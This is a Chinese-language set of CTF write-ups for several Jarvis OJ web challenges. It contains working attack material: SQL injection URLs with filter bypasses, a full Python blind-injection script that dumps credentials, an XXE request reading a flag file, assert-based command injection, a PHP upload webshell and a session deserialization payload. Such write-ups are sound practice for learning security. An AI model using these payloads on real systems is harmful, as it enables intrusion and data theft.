IN A Mess :PHP
連出題人自己都忘了flag放哪了,只記得好像很混亂的樣子。
題解:
f12獲得源碼:
<?php error_reporting(0); echo "<!--index.phps-->"; if(!$_GET['id']) { header('Location: index.php?id=1'); exit(); } $id=$_GET['id']; $a=$_GET['a']; $b=$_GET['b']; if(stripos($a,'.')) { echo 'Hahahahahaha'; return ; } $data = file_get_contents($a,'r'); var_dump(eregi("111".substr($b,0,1),"1114")); var_dump(substr($b,0,1)!=4); var_dump($data=="1112 is a nice lab!" ); var_dump(strlen($b)>5); if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) { require("flag.txt"); } else { print "work harder!harder!harder!"; } ?>
構造:
- $a控制文件,使得$data=="1112 is a nice lab!"
偽協議php://input ;在網上發現了一種新的解法記錄一下data類型的Url格式:把小數據直接嵌入到Url中
- $id不能為0:!$_GET['id']
- $id為0: $id==0
弱類型繞過,0aaa
- $b長度>5
- $b開頭為4:eregi("111".substr($b,0,1),"1114") 不區分大小寫
- $b開頭不能為4:substr($b,0,1)!=4)
%00的繞過: strlen函數對%00不截斷但substr截斷
http://web.jarvisoj.com:32780/index.php?id=0a&a=php://input&b=%00411111a 1112 is a nice lab!
?id=0a&a=data:text/html:,1112+is+a+nice+lab!&b=%00411111a
后面就是注入,id=2得時候出現了sql語句
http://web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id=0/*3*/UNIunionON/*3*/SELselectECT/*3*/1,2,database()
?id=-1/*3*/ununionion/*3*/seselectlect/*3*/2,3,group_concat(column_name)/*3*/frofromm/*3*/information_schema.columns/*3*/where/*3*/table_schema=database()%23--
id,context,title
?id=-1/*3*/ununionion/*3*/seselectlect/*3*/2,3,group_concat(id,context,title)/*3*/frofromm/*3*/content%23--
1PCTF{Fin4lly_U_got_i7_C0ngRatulation5}hi666
api調用:XXE
請設法獲得目標機器/home/ctf/flag.txt中的flag值。
題解:
f12看源碼,發現XMLHttpRequest(),考慮是不是可以利用xml。
function XHR() { var xhr; try {xhr = new XMLHttpRequest();} catch(e) { var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"]; for (var i=0,len=IEXHRVers.length;i< len;i++) { try {xhr = new ActiveXObject(IEXHRVers[i]);} catch(e) {continue;} } } return xhr; } function send(){ evil_input = document.getElementById("evil-input").value; var xhr = XHR(); xhr.open("post","/api/v1.0/try",true); xhr.onreadystatechange = function () { if (xhr.readyState==4 && xhr.status==201) { data = JSON.parse(xhr.responseText); tip_area = document.getElementById("tip-area"); tip_area.value = data.task.search+data.task.value; } }; xhr.setRequestHeader("Content-Type","application/json"); xhr.send('{"search":"'+evil_input+'","value":"own"}'); }
接下來就是xxe讀取任意文件: 未知攻焉知防——XXE漏洞攻防 淺談XXE攻擊
POST /api/v1.0/try HTTP/1.1 Host: web.jarvisoj.com:9882 Content-Length: 126 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36 Content-Type: application/xml Accept: */* Origin: http://web.jarvisoj.com:9882 Referer: http://web.jarvisoj.com:9882/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: UM_distinctid=1755625b1f332d-0b33a7f03def68-303464-1fa400-1755625b1f4197 Connection: close <?xml version="1.0"?> <!DOCTYPE abcd[ <!ENTITY laolao SYSTEM "file:///home/ctf/flag.txt">]> <something>&laolao;</something>
babyphp:PHP
題解:
根據about界面的提示,猜有一個git源碼泄露 ,在GitHub上下一個GitHack獲得源碼
python GitHack.py http://web.jarvisoj.com:32798/.git
index里面有個文件包含的的,看了一下flag.php內容備注掉了,直接訪問沒用
<?php if (isset($_GET['page'])) { $page = $_GET['page']; } else { $page = "home"; } $file = "templates/" . $page . ".php"; var_dump($file); assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); assert("file_exists('$file')") or die("That file doesn't exist!"); ?>
assert 參數如果是字符串,會被當做php代碼執行
?page='.passthru('cat templates/flag.php').' #passthru — 執行外部程序並且顯示原始輸出 ?page='. system('cat templates/flag.php').' #system — 執行外部程序,並且顯示輸出
inject:sql普通注入
題解
- ctfwebscan掃出源碼index.php~
- 反引號注入:DESC `map` `grade`不會報錯
- 這里有一個腦洞就是,table名字等於secret_flag(反正我沒想到這個Orz)
- union做聯合查詢,只要數據的字段數量,就行不在乎類型。返回結果會把這兩個語句查出的結果做一個拼接,第一條的結果在前面,第二條的結果在后面
?table=flag` ` union select group_concat(column_name) from information_schema.columns where table_schema=database() limit 1,1 -- 列名:flagUwillNeverKnow,username ?table=flag` ` union select group_concat(flagUwillNeverKnow) from secret_flag limit 1,1 --值:flag{luckyGame~}
學到了一種新的繞過姿勢---> /*!*/
/*!SELECT*/ GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE table_schema=DATABASE() MySQL SERVER supports SOME variants OF C-style comments. These ENABLE you TO WRITE CODE that includes MySQL extensions, but IS still portable, BY USING comments OF the FOLLOWING form: /*! MySQL-specific code */ IN this CASE, MySQL SERVER parses AND executes the CODE WITHIN the COMMENT AS it would ANY other SQL statement, but other SQL servers will IGNORE the extensions. FOR EXAMPLE, MySQL SERVER recognizes the STRAIGHT_JOIN keyword IN the FOLLOWING statement, but other servers will NOT: SELECT /*! STRAIGHT_JOIN */ col1 FROM table1,table2 WHERE … IF you ADD a VERSION NUMBER AFTER the “!” CHARACTER, the syntax WITHIN the COMMENT IS executed ONLY IF the MySQL VERSION IS greater THAN OR equal TO the specified VERSION number. The TEMPORARY keyword IN the FOLLOWING COMMENT IS executed ONLY BY servers FROM MySQL 3.23.02 OR higher: CREATE /*!32302 TEMPORARY */ TABLE t (a INT); The COMMENT syntax just described applies TO how the mysqld SERVER parses SQL statements. The mysql CLIENT program also performs SOME parsing OF statements BEFORE sending them TO the server. (It does this TO determine statement boundaries WITHIN a multiple-statement input line.)
# -*- coding:utf-8 -*- import requests import time url = "http://web.jarvisoj.com:32787/login.php" def db_length(): global url for i in range(1, 10000): sql = { 'username':"1'|| LENGTH((/*!SELECT*/ GROUP_CONCAT(schema_name /*!SEPARATOR '@'*/ ) /*!FROM*/ information_schema.schemata))>{}#".format(i), 'password': "1" } response = requests.post(url,sql).text # print(response) print(sql['username']) if "用戶名錯誤" in response: print("所有數據庫名長:", i) return i def db_name(db_length): global url table_name = '' for num in range(1, db_length + 1): for asc in range(32, 128): sql = { 'username': '''1' || ascii(substr((/*!SELECT*/ GROUP_CONCAT(schema_name /*!SEPARATOR*/ "," ) /*!FROM*/ information_schema.schemata),{},1))>{} #'''.format(num,asc), 'password': "1" } response=requests.post(url,sql).text # print(sql['username']) if "用戶名" in response: table_name += chr(asc) print("數據庫名:", table_name) break def table_length(database): global url for i in range(1, 10000): sql = { 'username':'''1'|| LENGTH((/*!SELECT*/ GROUP_CONCAT(TABLE_NAME) /*!FROM*/ information_schema.tables /*!WHERE*/ table_schema="{}"))>{}#'''.format(database,i), 'password': "1" } response = requests.post(url,sql).text # print(response) print(sql['username']) if "用戶名錯誤" in response: print("所有數據表名長:", i) return i def table_name(table_length,database): global url table_name = '' for num in range(1, table_length + 1): for asc in range(32, 128): sql = { 'username': '''1' || ascii(substr((/*!select*/ group_concat(table_name /*!separator "@"*/) /*!from*/ information_schema.tables /*!where*/ table_schema="{}"),{},1))>{} #'''.format(database,num,asc), 'password': "1" } response=requests.post(url,sql).text # print(sql['username']) if "用戶名" in response: table_name += chr(asc) print("數據表名:", table_name) break def column_length(table_name,database): global url for i in range(1, 10000): sql = { 'username': '''1' || length((/*!SELECT*/ group_concat(column_name) /*!FROM*/ information_schema.columns /*!WHERE*/ table_name='{}' /*!and*/ table_schema="{}"))>{} #'''.format(table_name,database,i), 'password': "1" } response = requests.post(url, sql).text # print(sql['username']) if "用戶名" in response: print("字段長:", i) return i def column_name(column_length,database): global url column_name = '' for num in range(1, column_length + 1): for asc in range(32, 128): sql = { 'username': '''1' || ascii(substr((/*!select*/ group_concat(column_name /*!separator "@"*/) /*!from*/ information_schema.columns /*!where*/ table_schema={}),{},1))>{} #'''.format(database,num, asc), 'password': "1" } response = requests.post(url, sql).text # print(sql['username']) if "用戶名" in response: column_name += chr(asc) print("字段名:", column_name) break def data_length(column_name,table_name): global url for i in range(1, 10000): sql = { 'username': '''1' || length((/*!SELECT*/ group_concat({}) /*!FROM*/ {} ))>{} #'''.format(column_name,table_name, i), 'password': "1" } response = requests.post(url, sql).text # print(sql['username']) if "用戶名" in response: print("{}字段長:{}".format(column_name,i)) return i def data_detail(data_length,column_name,table_name): global url data_name = '' for num in range(1, data_length + 1): for asc in range(32, 128): sql = { 'username': '''1' || ascii(substr((/*!select*/ group_concat({} /*!separator "@"*/) /*!from*/ {}),{},1))>{} #'''.format(column_name,table_name,num, asc), 'password': "1" } response = requests.post(url, sql).text # print(sql['username']) if "用戶名" in response: data_name += chr(asc) print("\t>> {}字段名:{}".format(column_name,data_name)) break if __name__ == '__main__': # db_length()#所有數據庫名長: 33 # db_name(33)數據庫名: information_schema,injection,test # table_length()#所有數據表名長: 5 # db_list=['injection','test'] # for d in db_list: # print(d) # table_name(table_length(d),d)#數據表名: admin(injection) ;test里面沒有表 # column_length('admin') #字段長: 20 # column_name(20)#字段名: id@username@password(injection) # laolao = [ 'id','username','password'] # for l in laolao: # len = data_length(l,'admin')#password字段長:32 # data_detail(32, 'password', 'admin')#password字段名:334cfb59c9d74849801d5acdcfdaadc3(injection) md5 解密-->eTAloCrEP
Easy Gallery:文件上傳
題解:
/upload.php 上傳圖片馬,在/index.php?page=uploads/1603960884.jpg%00 做讀取,用00截斷后面加上的.php,一句話比較麻煩,php的被掰了
<script language="php">@eval_r($_POST[lao])</script>
WEB?:JS
這么簡單的題,是WEB嗎?
題目入口:http://web.jarvisoj.com:9891/
題解:
看到一個輸入框,還以為是xxe或者是注入,原來是前端的認證在app.js里面
t=[] r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237,344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259] o = [ [11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70,107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24,249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123,208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50,196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232,123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249,236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233,156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31,198] ] def P(pwd): global t for i in pwd: t.append(ord(i)) def E(): global t,o,r #25x25 i=0 for n in range(25): for a in range(25): i += t[a] * o[n][a]; if i != r[n]: return 0 def D(): ''' numpy.linalg.solve() 函數給出了矩陣形式的線性方程的解。 https://www.runoob.com/numpy/numpy-linear-algebra.html :return: ''' import numpy as np global o,r x = np.linalg.solve(np.array(o),np.array(r)) print(x) for i in x: print(chr(int(np.round(i))),end="") if __name__ == '__main__': # (1x25) * (25x25) = (1x25) # ==>>(輸入的密碼的ascii值) * (o矩陣) = (r矩陣) D()
PHPINFO:序列化
題解:
看源碼new一個Oowo()得時候調用構造函數,將mdzz設置為phpinfo(),程序結束后調用析構函數出發payload。重點是如何觸發發序列化。查了wp才知道這是用到的是session的反序列化。
session.serialize_handler:
- 該配置主要設定用戶自定義存儲函數,如果想使用PHP內置
session
存儲機制之外的可以使用這個函數 - 分類:
- php_binary :鍵名的長度對應的ascii字符+鍵名+經過serialize()函數序列化后的值
- php: 鍵名+豎線(|)+經過serialize()函數處理過的值
- (本題前端設置的是這個)
- php_serialize: 經過serialize()函數處理過的數組,會將鍵名和值當作一個數組序列化
- (本題后台處理設置的是這個)
- Master Value是PHP.ini文件中的內容。
- Local value 是當前目錄中的設置,這個值會覆蓋Master Value中對應的值
- phpinfo中的session.save_handler=""設置為了php_serialize
session.upload_progress.enabled:
- 啟用上傳進度跟蹤,並填充
$ _SESSION
變量, 默認啟用。 - (用來向session添加一條記錄)
- post一個和session.upload_progress.name同名的變量,來使得我們上傳的東西寫入session
- (查phpinfo得到變量名為PHP_SESSION_UPLOAD_PROGRESS)
看到師傅們的payload都加了轉義,這是因為payload放到里文件名里,filename的用""閉合,所以需要轉義
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
其實也可以不用轉義,放到data里面也行,帶你走進PHP session反序列化漏洞


Chopper
小明入侵了一台web服務器並上傳了一句話木馬,但是,管理員修補了漏洞,更改了權限。更重要的是:他忘記了木馬的密碼!你能幫助他奪回控制權限嗎?
關卡入口:http://web.jarvisoj.com:32782/
題目來源:ISCC2016
題解:
emmmm,怎么打都滅用,用了其他師傅的payload也不行,先坑着